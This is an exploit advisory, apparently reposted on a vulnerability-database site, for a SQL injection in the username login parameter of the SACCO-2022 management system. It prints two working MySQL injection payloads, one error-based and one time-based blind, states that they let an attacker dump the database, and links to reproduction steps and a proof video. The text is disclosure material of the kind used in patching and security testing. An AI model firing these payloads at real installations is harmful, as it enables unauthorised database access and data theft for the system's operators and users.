`## Title: SACCO-2022 SQLi
## Author: nu11secur1ty
## Date: 08.27.2022
## Vendor: https://www.mayurik.com/
## Software: https://www.sourcecodester.com/php/15372/open-source-sacco-management-system-free-download.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/SACCO
## Description:
The `username` parameter from the SACCO-2022 system appears to be
vulnerable to SQL injection attacks.
The malicious user can dump-steal the database, from this system and
he can use it for very malicious purposes.
STATUS: HIGH Vulnerability
[+]Payload:
```mysql
---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: [email protected]' AND (SELECT 6479
FROM(SELECT COUNT(*),CONCAT(0x71786a7671,(SELECT
(ELT(6479=6479,1))),0x71767a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# UWlq&password=admin
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: [email protected]' AND (SELECT 7854
FROM (SELECT(SLEEP(5)))OzkN)# Lpgs&password=admin
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/SACCO)
## Proof and Exploit:
[href](https://streamable.com/iswun6)
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation